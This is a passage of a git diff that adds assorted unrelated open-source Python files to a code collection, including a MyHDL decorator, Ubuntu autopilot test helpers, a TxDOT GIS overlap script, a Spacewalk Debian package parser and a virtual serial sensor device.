+ break_on_timer.setInterval(50) + break_on_timer.start() + + app.exec_() # Run forever until app.quit() + + assert py_db.gui_in_use + assert py_db._installed_gui_support + assert py_db._gui_event_loop == 'qt5' + + +if __name__ == '__main__': + call_method() + print('TEST SUCEEDED!') diff --git a/pool/shard009/Python/0082083_always_seq.py b/pool/shard009/Python/0082083_always_seq.py new file mode 100644 index 0000000000000000000000000000000000000000..056279c3e5769d03e3256d9398826b1e110a677b --- /dev/null +++ b/pool/shard009/Python/0082083_always_seq.py @@ -0,0 +1,157 @@ +# This file is part of the myhdl library, a Python package for using +# Python as a Hardware Description Language. +# +# Copyright (C) 2003-2012 Jan Decaluwe +# +# The myhdl library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public License as +# published by the Free Software Foundation; either version 2.1 of the +# License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. + +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +""" Module with the always_seq decorator. """ +from __future__ import absolute_import + + +from types import FunctionType + +from myhdl import AlwaysError, intbv +from myhdl._util import _isGenFunc +from myhdl._Signal import _Signal, _WaiterList, _isListOfSigs +from myhdl._always import _Always, _get_sigdict +from myhdl._instance import _getCallInfo + +# evacuate this later +AlwaysSeqError = AlwaysError + + +class _error: + pass +_error.EdgeType = "first argument should be an edge" +_error.ResetType = "reset argument should be a ResetSignal" +_error.ArgType = "decorated object should be a classic (non-generator) function" +_error.NrOfArgs = "decorated function should not have arguments" +_error.SigAugAssign = "signal assignment does not support augmented assignment" +_error.EmbeddedFunction = "embedded functions in always_seq function not supported" + + +class ResetSignal(_Signal): + + def __init__(self, val, active, async): + """ Construct a ResetSignal. + + This is to be used in conjunction with the always_seq decorator, + as the reset argument. + """ + _Signal.__init__(self, bool(val)) + self.active = bool(active) + self.async = async + + +def always_seq(edge, reset): + callinfo = _getCallInfo() + sigargs = [] + if not isinstance(edge, _WaiterList): + raise AlwaysSeqError(_error.EdgeType) + edge.sig._read = True + edge.sig._used = True + sigargs.append(edge.sig) + if reset is not None: + if not isinstance(reset, ResetSignal): + raise AlwaysSeqError(_error.ResetType) + reset._read = True + reset._used = True + sigargs.append(reset) + sigdict = _get_sigdict(sigargs, callinfo.symdict) + + def _always_seq_decorator(func): + if not isinstance(func, FunctionType): + raise AlwaysSeqError(_error.ArgType) + if _isGenFunc(func): + raise AlwaysSeqError(_error.ArgType) + if func.__code__.co_argcount > 0: + raise AlwaysSeqError(_error.NrOfArgs) + return _AlwaysSeq(func, edge, reset, callinfo=callinfo, sigdict=sigdict) + return _always_seq_decorator + + +class _AlwaysSeq(_Always): + + def __init__(self, func, edge, reset, callinfo, sigdict): + senslist = [edge] + self.reset = reset + if reset is not None: + self.genfunc = self.genfunc_reset + active = self.reset.active + async = self.reset.async + if async: + if active: + senslist.append(reset.posedge) + else: + senslist.append(reset.negedge) + else: + self.genfunc = self.genfunc_no_reset + + super(_AlwaysSeq, self).__init__( + func, senslist, callinfo=callinfo, sigdict=sigdict) + + if self.inouts: + raise AlwaysSeqError(_error.SigAugAssign, self.inouts) + + if self.embedded_func: + raise AlwaysSeqError(_error.EmbeddedFunction) + + sigregs = self.sigregs = [] + varregs = self.varregs = [] + for n in self.outputs: + reg = self.symdict[n] + if isinstance(reg, _Signal): + sigregs.append(reg) + elif isinstance(reg, intbv): + varregs.append((n, reg, int(reg))) + else: + assert _isListOfSigs(reg) + for e in reg: + sigregs.append(e) + + def reset_sigs(self): + for s in self.sigregs: + s.next = s._init + + def reset_vars(self): + for v in self.varregs: + # only intbv's for now + _, reg, init = v + reg._val = init + + def genfunc_reset(self): + senslist = self.senslist + if len(senslist) == 1: + senslist = senslist[0] + reset_sigs = self.reset_sigs + reset_vars = self.reset_vars + func = self.func + while 1: + yield senslist + if self.reset == self.reset.active: + reset_sigs() + reset_vars() + else: + func() + + def genfunc_no_reset(self): + senslist = self.senslist + assert len(senslist) == 1 + senslist = senslist[0] + func = self.func + while 1: + yield senslist + func() diff --git a/pool/shard009/Python/0082093_init__.py b/pool/shard009/Python/0082093_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..86e23d98b781210930fc28e15a2a2f78f427f0dc --- /dev/null +++ b/pool/shard009/Python/0082093_init__.py @@ -0,0 +1,77 @@ +# -*- Mode: Python; coding: utf-8; indent-tabs-mode: nil; tab-width: 4 -*- + +"""Ubuntu Touch App Autopilot tests.""" + +import os + +import ubuntuuitoolkit + +from autopilot import introspection +from autopilot.matchers import Eventually +from testtools.matchers import Equals +from ubuntuuitoolkit import base + + +PACKAGE_ID = 'test-qml.bhdouglass' + + +def get_path_to_source_root(): + return os.path.abspath( + os.path.join( + os.path.dirname(__file__), '..', '..', '..', '..')) + + +class ApplicationCustomProxyObject( + ubuntuuitoolkit.UbuntuUIToolkitCustomProxyObjectBase): + + """Autopilot custom proxy object for the app.""" + + @classmethod + def validate_dbus_object(cls, path, state): + application_name = PACKAGE_ID + name = introspection.get_classname_from_path(path) + if str(name) == application_name: + if state['applicationName'][1] == application_name: + return True + return False + + @property + def main_view(self): + return self.select_single(ubuntuuitoolkit.MainView) + + +class ClickAppTestCase(base.UbuntuUIToolkitAppTestCase): + + """Common test case that provides several useful methods for the tests.""" + + project_name = 'test-qml' + + def launch_application(self): + app_qml_source_location = self._get_app_qml_source_path() + if os.path.exists(app_qml_source_location): + app = self._launch_application_from_source( + app_qml_source_location) + else: + app = self._launch_installed_application() + + self.assertThat(app.main_view.visible, Eventually(Equals(True))) + return app + + def _get_app_qml_source_path(self): + qml_file_name = 'Main.qml' + return os.path.join(self._get_path_to_project_source(), qml_file_name) + + def _get_path_to_project_source(self): + return os.path.join(get_path_to_source_root(), self.project_name) + + def _launch_application_from_source(self, app_qml_source_location): + return self.launch_test_application( + base.get_qmlscene_launch_command(), + app_qml_source_location, + app_type='qt', + emulator_base=ApplicationCustomProxyObject) + + def _launch_installed_application(self): + return self.launch_click_package( + PACKAGE_ID, emulator_base=ApplicationCustomProxyObject) + diff --git a/pool/shard009/Python/0082099_city_boundary_overlaps_v1.py b/pool/shard009/Python/0082099_city_boundary_overlaps_v1.py new file mode 100644 index 0000000000000000000000000000000000000000..cb1bfb2791176f4ef47a3d182cfe283e63af55ec --- /dev/null +++ b/pool/shard009/Python/0082099_city_boundary_overlaps_v1.py @@ -0,0 +1,151 @@ +__file__ = 'city_boundary_overlaps_v1' +__date__ = '5/16/2016' +__author__ = 'ABREZNIC' +""" +The MIT License (MIT) + +Copyright (c) 2016 Texas Department of Transportation +Author: Adam Breznicky + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. +""" +import arcpy, os, datetime, csv +from arcpy import env + +# user set variables +output_folder = "C:\\TxDOT\\Scripts\\python\\QC\\city_county_overlaps" +comanche_name = "Connection to Comanche.sde" +fc_street_query = "RTE_PRFX = 6" +local_street_query = "RTE_PRFX = 7" +county_road_query = "RTE_PRFX = 1" + +# reference variables +print "connecting..." +comanche = "Database Connections" + os.sep + comanche_name +comanche_cities = comanche + os.sep + "TPP_GIS.APP_TPP_GIS_ADMIN.City_Editing\\TPP_GIS.APP_TPP_GIS_ADMIN.Cities_Editing" +comanche_roads = comanche + os.sep + "TPP_GIS.APP_TPP_GIS_ADMIN.GRID_Export\\TPP_GIS.APP_TPP_GIS_ADMIN.Roadways_GRID_Export" +now = datetime.datetime.now() +the_date = now.strftime("%Y") + now.strftime("%m") + now.strftime("%d") + + +# ------------------------------------ +# create working dbase and copy data into it +print "creating working database" +arcpy.CreateFileGDB_management(output_folder, "Overlap_Working_" + the_date + ".gdb") +dbase = output_folder + os.sep + "Overlap_Working_" + the_date + ".gdb" +env.workspace = dbase + +print "copying into the working database:" +print "cities" +arcpy.Copy_management(comanche_cities, "Cities") +print "fc streets" +arcpy.Select_analysis(comanche_roads, "FC_Streets", fc_street_query) +print "local streets" +arcpy.Select_analysis(comanche_roads, "Local_Streets", local_street_query) +print "county roads" +arcpy.Select_analysis(comanche_roads, "County_Roads", county_road_query) + + +# --------------------------------- +# break geometry at city boundaries and remove all the segments which are correct +print "breaking geometry and removing correct segments:" + +print "fc streets" +arcpy.Identity_analysis("FC_Streets", "Cities", "Overlaps_FC", "NO_FID") +dictionary = {} +cursor = arcpy.da.SearchCursor("Overlaps_FC", ["GID", "CITY_NM"]) +for row in cursor: + if row[1] != "": + key = str(row[0]) + dictionary[key] = row[1] +del cursor +del row +print "dictionary built" +cursor = arcpy.da.UpdateCursor("Overlaps_FC", ["GID", "CITY_NM"]) +for row in cursor: + if row[1] == "": + try: + key = str(row[0]) + row[1] = dictionary[key] + cursor.updateRow(row) + except: + print row[0], row[1] + else: + cursor.deleteRow() +del cursor +del row + +print "local streets" +arcpy.Identity_analysis("Local_Streets", "Cities", "Overlaps_LS", "NO_FID") +dictionary = {} +cursor = arcpy.da.SearchCursor("Overlaps_LS", ["GID", "CITY_NM"]) +for row in cursor: + if row[1] != "": + key = str(row[0]) + dictionary[key] = row[1] +del cursor +del row +print "dictionary built" +cursor = arcpy.da.UpdateCursor("Overlaps_LS", ["GID", "CITY_NM"]) +for row in cursor: + if row[1] == "": + try: + key = str(row[0]) + row[1] = dictionary[key] + cursor.updateRow(row) + except: + print row[0], row[1] + else: + cursor.deleteRow() +del cursor +del row + +print "county roads" +arcpy.Intersect_analysis(["County_Roads", "Cities"], "Overlaps_CR", "NO_FID") + + +# ------------------------------------------- +print "updating DFO and measure fields" +data = [["GID", "RTE_RB_NM", "CITY_NM", "BEGIN_DFO", "END_DFO", "SEG_LEN", "Feature_Class"]] +feature_classes = ["Overlaps_FC", "Overlaps_LS", "Overlaps_CR"] +for fc in feature_classes: + print fc + cursor = arcpy.da.UpdateCursor(fc, ["RTE_RB_NM", "BEGIN_DFO", "END_DFO", "SEG_LEN", "SHAPE@LENGTH", "SHAPE@", "GID", "CITY_NM"]) + for row in cursor: + meters = row[4] + miles = meters * 0.000621371192 + # length = float(format(float(miles), '.3f')) + m_min = row[5].extent.MMin + m_max = row[5].extent.MMax + row[1] = m_min + row[2] = m_max + row[3] = miles + cursor.updateRow(row) + record = [row[6], row[0], row[7], m_min, m_max, miles, fc] + data.append(record) + del cursor + del row + +print "writing CSV" +final = open(output_folder + os.sep + "Overlap_Report_" + the_date + ".csv", 'wb') +writer = csv.writer(final) +writer.writerows(data) +final.close() + +print "that's all folks!!" diff --git a/pool/shard009/Python/0082101_run_test.py b/pool/shard009/Python/0082101_run_test.py new file mode 100644 index 0000000000000000000000000000000000000000..485470685502c66eddd3d7b7072e0ffb09c22d47 --- /dev/null +++ b/pool/shard009/Python/0082101_run_test.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +############################################################################### +# +# Copyright Saab AB, 2013 (http://safirsdkcore.com) +# +# Created by: Lars Hagström / lars.hagstrom@consoden.se +# +############################################################################### +# +# This file is part of Safir SDK Core. +# +# Safir SDK Core is free software: you can redistribute it and/or modify +# it under the terms of version 3 of the GNU General Public License as +# published by the Free Software Foundation. +# +# Safir SDK Core is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Safir SDK Core. If not, see . +# +############################################################################### +from __future__ import print_function +import subprocess, os, time, sys, signal, shutil, argparse +import syslog_server +from safe_print import * + +parser = argparse.ArgumentParser("test script for logging") +parser.add_argument("--safir-show-config", required=True) +parser.add_argument("--sender-exe", required=True) +parser.add_argument("--dependencies", required=True) + +arguments = parser.parse_args() + +dependencies = arguments.dependencies.split(",") + +for dep in dependencies: + shutil.copy2(dep, + ".") + +syslog = syslog_server.SyslogServer(arguments.safir_show_config) + +o1 = subprocess.check_output(arguments.sender_exe, stderr=subprocess.STDOUT) +o2 = subprocess.check_output(arguments.sender_exe, stderr=subprocess.STDOUT) +o3 = subprocess.check_output(arguments.sender_exe, stderr=subprocess.STDOUT) + +stdout_output = o1 + o2 + o3 +syslog_output = syslog.get_data(1) + +#fix unexpected locale +syslog_output = syslog_output.replace("123,1","123.1") + +def fail(message): + print("Failed! Wrong number of",message) + print ("STDOUT OUTPUT:") + safe_print(stdout_output) + print ("SYSLOG OUTPUT:") + safe_print(syslog_output) + sys.exit(1) + +if syslog_output.count("\n") != 24: + fail("lines") + +if syslog_output.count(u"FatalError FatalError|here|Testing SendFatalErrorReport") != 3: + fail("SendFatalErrorReport") + +if syslog_output.count(u"Error Error|there|Testing SendErrorReport") != 3: + fail("SendErrorReport") + +if syslog_output.count(u"SendResourceReport") != 6: + fail("SendResourceReport") + +if syslog_output.count(u"Resource ResourceReport is allocated") != 3: + fail("Resource ResourceReport is allocated") + +if syslog_output.count(u"Resource ResourceReport is not allocated") != 3: + fail("Resource ResourceReport is not allocated") + +if syslog_output.count(u"ProgrammingError ProgrammingError|everywhere|Testing SendProgrammingErrorReport") != 3: + fail("SendProgrammingErrorReport") + +if syslog_output.count(u"SendProgramInfoReport") != 3: + fail("SendProgramInfoReport") + +if syslog_output.count(u"brynanuppafjässasponken|Don't know\u203d|Testing funny characters") != 3: + fail("brynanuppa") + +if len(stdout_output) != 0: + fail("Unexpected output on stdout") + +print("success") +sys.exit(0) diff --git a/pool/shard009/Python/0082102_readd.py b/pool/shard009/Python/0082102_readd.py new file mode 100644 index 0000000000000000000000000000000000000000..e10e20d4890e0ca0ccb29666d06a43552e06ce2c --- /dev/null +++ b/pool/shard009/Python/0082102_readd.py @@ -0,0 +1,66 @@ +#import numpy as np +from jelly_fish import half_circle as hc + + +def read_data(filename): + f = open(filename) + + title = f.readline().split(',') + titles = {} + sample = f.readline().split(',') + for i in range(len(title)): + titles[title[i]] = i + sample[i] = [i, sample[i]] + print "sample\n", sample + # Not used in this script, so all data are uniform colored. + color_row = raw_input( + "Choose one row to initial color the data (if non, input -1): ") + color_row = int(color_row) - 1 + # Help to get rid of non-numerical rows, but maybe updated as automatical + # later. + str_row = raw_input("Get rid of non-numerical rows (if non, input -1): ") + rid_row = map(lambda x: int(x) - 1, str_row.strip().split()) + # Not using the non-numerical and color row for projection or correlation + # calculation. + non_used_rows = list(rid_row) + [color_row] + print non_used_rows + + # parse the data based on the above information + # Using feature scaling normalization: bring all values into the range [0,1], (x-x_min)/(x_max-x_min) for each attribute + # This normalization method may be changed in the future, depending on needs. + # average=[0] + maximum = [0] + mininum = [0] + data = [] + f.seek(0) + f.readline() + for s in f: + data_row = s.strip().split(',') + # print data_row + data.append( + [float(elt) for num, elt in enumerate(data_row) if not num in non_used_rows]) + # average=map(lambda x,y: x+y, data[-1], average if not average==[0] + # else average*len(data[-1])) # To be validated + maximum = map( + max, data[-1], maximum if not maximum == [0] else maximum * len(data[-1])) + mininum = map( + min, data[-1], mininum if not mininum == [0] else mininum * len(data[-1])) + + # Normalize the data + #average=map(lambda x: x/len(data),average) + print data[0] + print data[1] + + results = hc.angle(data, 20) + + f = open("axes.txt", 'w') + print >>f, results + f.close() + + +if __name__ == "__main__": + + # add easygui or tkinter or wx here for file dialog + # Is there a way to use the home directory say: ~/ ? + filename = "../../CS/ecs/web-correlation/parkinsons.data" + read_data(filename) diff --git a/pool/shard009/Python/0082112_unique-messages.py b/pool/shard009/Python/0082112_unique-messages.py new file mode 100644 index 0000000000000000000000000000000000000000..fbc74f8f46c37407e1c4db0ecf75c0e0ae0ae2b5 --- /dev/null +++ b/pool/shard009/Python/0082112_unique-messages.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +import os +import sys + +def unique_messages(): + basedir = None + + if os.path.isdir(os.path.join('conf', 'locale')): + basedir = os.path.abspath(os.path.join('conf', 'locale')) + elif os.path.isdir('locale'): + basedir = os.path.abspath('locale') + else: + print("This script should be run from the Django Git tree or your project or app tree.") + sys.exit(1) + + for (dirpath, dirnames, filenames) in os.walk(basedir): + for f in filenames: + if f.endswith('.po'): + sys.stderr.write('processing file %s in %s\n' % (f, dirpath)) + pf = os.path.splitext(os.path.join(dirpath, f))[0] + cmd = 'msguniq "%s.po"' % pf + stdout = os.popen(cmd) + msg = stdout.read() + open('%s.po' % pf, 'w').write(msg) + +if __name__ == "__main__": + unique_messages() diff --git a/pool/shard009/Python/0082116_debPackage.py b/pool/shard009/Python/0082116_debPackage.py new file mode 100644 index 0000000000000000000000000000000000000000..05609f60f200874c9af541783b3a491329b3a646 --- /dev/null +++ b/pool/shard009/Python/0082116_debPackage.py @@ -0,0 +1,178 @@ +# +# Copyright (c) 2010--2016 Red Hat, Inc. +# +# This software is licensed to you under the GNU General Public License, +# version 2 (GPLv2). There is NO WARRANTY for this software, express or +# implied, including the implied warranties of MERCHANTABILITY or FITNESS +# FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2 +# along with this software; if not, see +# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt. +# +# Red Hat trademarks are not licensed under GPLv2. No permission is +# granted to use or replicate Red Hat trademarks that are incorporated +# in this software or its documentation. +# +# +# Converts headers to the intermediate format +# + +import headerSource +import time +import string +from importLib import Channel +from backendLib import gmtime, localtime +from spacewalk.common.usix import IntType, UnicodeType +from spacewalk.common.stringutils import to_string + + +class debBinaryPackage(headerSource.rpmBinaryPackage): + + def __init__(self, header, size, checksum_type, checksum, path=None, org_id=None, + channels=[]): + + headerSource.rpmBinaryPackage.__init__(self) + + self.tagMap = headerSource.rpmBinaryPackage.tagMap.copy() + + # Remove already-mapped tags + self._already_mapped = [ + 'rpm_version', 'payload_size', 'payload_format', + 'package_group', 'build_time', 'build_host' + ] + + for t in self._already_mapped: + if t in self.tagMap: + del self.tagMap[t] + + # XXX is seems to me that this is the place that 'source_rpm' is getting + # set + for f in self.keys(): + field = f + if f in self.tagMap: + field = self.tagMap[f] + if not field: + # Unsupported + continue + + # get the db field value from the header + val = header[field] + if f == 'build_time': + if val is not None and isinstance(val, IntType): + # A UNIX timestamp + val = gmtime(val) + elif val: + # Convert to strings + if isinstance(val, UnicodeType): + val = to_string(val) + else: + val = str(val) + elif val == []: + val = None + self[f] = val + + self['package_size'] = size + self['checksum_type'] = checksum_type + self['checksum'] = checksum + self['path'] = path + self['org_id'] = org_id + self['header_start'] = None + self['header_end'] = None + self['last_modified'] = localtime(time.time()) + if self['sigmd5']: + self['sigchecksum_type'] = 'md5' + self['sigchecksum'] = self['sigmd5'] + del(self['sigmd5']) + + # Fix some of the information up + vendor = self['vendor'] + if vendor is None: + self['vendor'] = 'Debian' + payloadFormat = self['payload_format'] + if payloadFormat is None: + self['payload_format'] = 'ar' + if self['payload_size'] is None: + self['payload_size'] = 0 + + # Populate file information + self._populateFiles(header) + # Populate dependency information + self._populateDependencyInformation(header) + # Populate changelogs + self._populateChangeLog(header) + # Channels + self._populateChannels(channels) + + self['source_rpm'] = None + + group = self.get('package_group', '') + if group == '' or group is None: + self['package_group'] = 'NoGroup' + + def _populateFiles(self, header): + files = [] + # for f in header.get('files', []): + # fc = headerSource.rpmFile() + # fc.populate(f) + # files.append(fc) + self['files'] = files + + def _populateDependencyInformation(self, header): + mapping = { + 'provides': headerSource.rpmProvides, + 'requires': headerSource.rpmRequires, + 'conflicts': headerSource.rpmConflicts, + 'obsoletes': headerSource.rpmObsoletes, + 'suggests': headerSource.rpmSuggests, + 'recommends': headerSource.rpmRecommends, + 'breaks': headerSource.rpmBreaks, + 'predepends': headerSource.rpmPredepends, + } + for k, dclass in mapping.items(): + l = [] + values = header[k] + if values is not None: + val = values.split(', ') # split packages + i = 0 + for v in val: + relation = 0 + version = '' + if '|' in v: + # TODO: store alternative-package-names semantically someday + name = v + '_' + str(i) + else: + nv = v.split('(') + name = nv[0] + '_' + str(i) + if (len(nv) > 1): + version = nv[1].rstrip(')') + if version: + while version.startswith(("<", ">", "=")): + if version.startswith("<"): + relation |= 2 + if version.startswith(">"): + relation |= 4 + if version.startswith("="): + relation |= 8 + version = version[1:] + hash = {'name': name, 'version': version, 'flags': relation} + finst = dclass() + finst.populate(hash) + l.append(finst) + i += 1 + self[k] = l + + def _populateChangeLog(self, header): + l = [] + # for cinfo in header.get('changelog', []): + # cinst = headerSource.rpmChangeLog() + # cinst.populate(cinfo) + # l.append(cinst) + self['changelog'] = l + + def _populateChannels(self, channels): + l = [] + for channel in channels: + dict = {'label': channel} + obj = Channel() + obj.populate(dict) + l.append(obj) + self['channels'] = l diff --git a/pool/shard009/Python/0082120_configdict.py b/pool/shard009/Python/0082120_configdict.py new file mode 100644 index 0000000000000000000000000000000000000000..78e3079a0ebb5ee38cf577e3f962d2030f7a6b82 --- /dev/null +++ b/pool/shard009/Python/0082120_configdict.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python +def repdictval(fname , paramdict , oname , ignorestrings=['#'], dictdelim = '='): + """repdictval (fname , paramdict, oname, ignorestrings=["#], + dictdelim ='=') rewrites the file fname to oname but replacing + all keys in fname according to the dictionary paramdict + args: + fname: mandatory + filename which is being read in + oname: mandatory + filename to which the output will be written + paramdict: mandatory + dictionary which has the values corresponding + to keys in fname + ignorestrings: optional, defaults to ['#'] + list of strings, after which the remaining part of + any line in fname will be ignored in making keys + dictdelim: optional, defualts to '-' + delimiter used to separate keys, values + in fname + + + """ + f = open(fname, "r") + line = f.readline() + i = 0 + w = open(oname, "w") + + + while line != '': + tmp = line.strip() + if tmp : + for st in ignorestrings: + + tokens = tmp.split(st) + relevant = tokens[0] + length =len(tokens) + + if len(relevant) >1: + #Not a comment line + tp = relevant.split(dictdelim) + key = tp[0].strip() + val = tp[1].strip() + #replace val + myval = paramdict[str(key)] + myline = key + ' ' + dictdelim + ' ' + comm ='' + if val != myval: + comm="\n" + ignorestrings[0]+"replaced" + myline += str(myval) +"\n"+ str(comm) +"\n" + w.writelines(myline) + else: + #comment line, so just write + #print line + w.writelines(line) + + line=f.readline() + + f.close() + w.close() + + + + +def builddict(fname,ignorestrings=['#'],dictdelim='='): + """builddict (fname) reads in the file with filename + fname, and builds a dictionary of keys vs values from + it + args: + fname: mandatory + filename from which the dictionary is to be + built + ignorestring: optional, defaults to ["#"] + list of strings, after which the remaining + part of the line should be ignored. + dictdelim: optional, defaults to '=' + delimiter used to separate keys, values + in building the dictionary + returns: + dictionary of keys and values (in strings) + usage : + builddict ( fname) + status: + Seems to work correctly, tested on CAMB params.ini, + R. Biswas, July 08, 2012 + """ + f = open(fname, "r") + line = f.readline() + i = 0 + + paramdict={} + while line != '': + tmp = line.strip() + if tmp : + for st in ignorestrings: + tmp = tmp.split(st)[0] + if len(tmp) >1: + tp = tmp.split(dictdelim) + key = tp[0].strip() + val = tp[1].strip() + paramdict[str(key)] = str(val) + line=f.readline() + + f.close() + return paramdict + +def method4(fname): + """method4 (fname) eneric method to tokenize a file and print out + a column (of any type) assuming that the file is a + consistent table. + + args: + returns: + example usage: + status: + + """ + #jfrom cStringIO import StringIO + #from tokenize import generate_tokens + import re + print "Method 4: read in files by line" + print "and rather than printing out all of it, only print out specific cols " + f = open(fname,"r") + line = f.readline() + i = 0 + + while line != '': + tmp= line.strip() + if tmp : + #print tmp + #tmp = line.strip() + tmpp = tmp.split() + #i +=1 + #print len(tmpp) + if len(tmpp) >1: + print tmpp[1] + #tmp = line.split(' ') + #i += 1 + #tmp = 'sdklsd sdjlks ' + #print len(tmp) + #if len(tmp) > 1: + #print tmp[1] + line=f.readline() + + f.close() + print "Method 4 done" + + diff --git a/pool/shard009/Python/0082123_virtual_device.py b/pool/shard009/Python/0082123_virtual_device.py new file mode 100644 index 0000000000000000000000000000000000000000..643c8e9995feb2fda505ac6ce10e24199c37ed8f --- /dev/null +++ b/pool/shard009/Python/0082123_virtual_device.py @@ -0,0 +1,234 @@ +""" +This program creates a virtual hibike device for testing purposes. + +usage: +$ socat -d -d pty,raw,echo=0 pty,raw,echo=0 +2016/09/20 21:29:03 socat[4165] N PTY is /dev/pts/26 +2016/09/20 21:29:03 socat[4165] N PTY is /dev/pts/27 +2016/09/20 21:29:03 socat[4165] N starting data transfer loop with FDs [3,3] and [5,5] +$ python3.5 virtual_device.py -d LimitSwitch -p /dev/pts/26 +""" +import argparse +import asyncio +import json +import random +import struct +import time + +# pylint: disable=import-error +import serial_asyncio +from runtime import hibike_message as hm + + +# Format of default values storage: +# {"DeviceName": {"param1": value1, "param2": value2}} +DEFAULT_VALUES_FILE = "virtual_device_defaults.json" +with open(DEFAULT_VALUES_FILE) as f: + DEFAULT_VALUES = json.load(f) + + +class VirtualDevice(asyncio.Protocol): + """ + A fake Hibike smart sensor. + """ + HEARTBEAT_DELAY_MS = 100 + PACKET_BOUNDARY = bytes([0]) + def __init__(self, uid, event_loop, verbose=False): + self.uid = uid + self.event_loop = event_loop + self._ready = asyncio.Event(loop=event_loop) + self.serial_buf = bytearray() + self.read_queue = asyncio.Queue(loop=event_loop) + self.verbose = verbose + + self.update_time = 0 + self.delay = 0 + self.transport = None + + self.response_map = { + hm.MESSAGE_TYPES["Ping"]: self._process_ping, + hm.MESSAGE_TYPES["SubscriptionRequest"]: self._process_sub_request, + hm.MESSAGE_TYPES["DeviceRead"]: self._process_device_read, + hm.MESSAGE_TYPES["DeviceWrite"]: self._process_device_write, + hm.MESSAGE_TYPES["Disable"]: self._process_disable, + hm.MESSAGE_TYPES["HeartBeatResponse"]: self._process_heartbeat_response, + } + self.param_values = DEFAULT_VALUES[hm.uid_to_device_name(uid)] + self.subscribed_params = set() + + event_loop.create_task(self.process_messages()) + event_loop.create_task(self.send_subscribed_params()) + event_loop.create_task(self.request_heartbeats()) + + def data_received(self, data): + self.serial_buf.extend(data) + zero_loc = self.serial_buf.find(bytes([0])) + if zero_loc != -1: + self.serial_buf = self.serial_buf[zero_loc:] + packet = hm.parse_bytes(self.serial_buf) + if packet != None: + self.serial_buf = self.serial_buf[1:] + self.read_queue.put_nowait(packet) + elif self.serial_buf.count(self.PACKET_BOUNDARY) > 1: + new_packet = self.serial_buf[1:].find(self.PACKET_BOUNDARY) + 1 + self.serial_buf = self.serial_buf[new_packet:] + + + def verbose_log(self, fmt_string, *fmt_args): + """Log a message if verbosity is enabled.""" + if self.verbose: + print(fmt_string.format(*fmt_args)) + + async def process_messages(self): + """Process recieved messages.""" + await self._ready.wait() + while not self.transport.is_closing(): + msg = await self.read_queue.get() + msg_type = msg.get_message_id() + if msg_type not in self.response_map: + continue + self.response_map[msg_type](msg) + + async def send_subscribed_params(self): + """Send values of subscribed parameters at a regular interval.""" + await self._ready.wait() + device_id = hm.uid_to_device_id(self.uid) + while not self.transport.is_closing(): + await asyncio.sleep(0.005, loop=self.event_loop) + if self.update_time != 0 and self.delay != 0: + if time.time() - self.update_time >= self.delay * 0.001: + # If the time equal to the delay has elapsed since the previous device data, + # send a device data with the device id + # and the device's subscribed params and values + data = [] + for param in self.subscribed_params: + data.append((param, self.param_values[param])) + hm.send(self.transport, hm.make_device_data(device_id, data)) + self.update_time = time.time() + self.verbose_log("Regular data update sent from {}", + hm.uid_to_device_name(self.uid)) + + async def request_heartbeats(self): + """Request heartbeats on a regular basis.""" + await self._ready.wait() + while not self.transport.is_closing(): + await asyncio.sleep(self.HEARTBEAT_DELAY_MS/1000, loop=self.event_loop) + hm.send(self.transport, hm.make_heartbeat_request()) + + # pylint: disable=unused-argument + def _process_ping(self, msg): + """Respond to a ping packet.""" + self.verbose_log("Ping received") + dev_id = hm.uid_to_device_id(self.uid) + hm.send(self.transport, hm.make_subscription_response(dev_id, [], 0, self.uid)) + + def _process_sub_request(self, msg): + """Respond to a subscription request with an appropriate response.""" + self.update_time = time.time() + dev_id = hm.uid_to_device_id(self.uid) + self.verbose_log("Subscription request received") + params, delay = struct.unpack(" +This file is part of RockStor. + +RockStor is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published +by the Free Software Foundation; either version 2 of the License, +or (at your option) any later version. + +RockStor is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +""" + +import sys +import json +from datetime import datetime +import crontabwindow # load crontabwindow module +from storageadmin.models import Share, Snapshot +from smart_manager.models import Task, TaskDefinition +from cli.api_wrapper import APIWrapper +from django.utils.timezone import utc +from django.conf import settings +import logging + +logger = logging.getLogger(__name__) + + +def validate_snap_meta(meta): + if type(meta) != dict: + raise Exception("meta must be a dictionary, not %s" % type(meta)) + if "prefix" not in meta: + raise Exception("prefix missing from meta. %s" % meta) + if "share" not in meta: + raise Exception("share missing from meta. %s" % meta) + if meta["share"].isdigit(): + if not 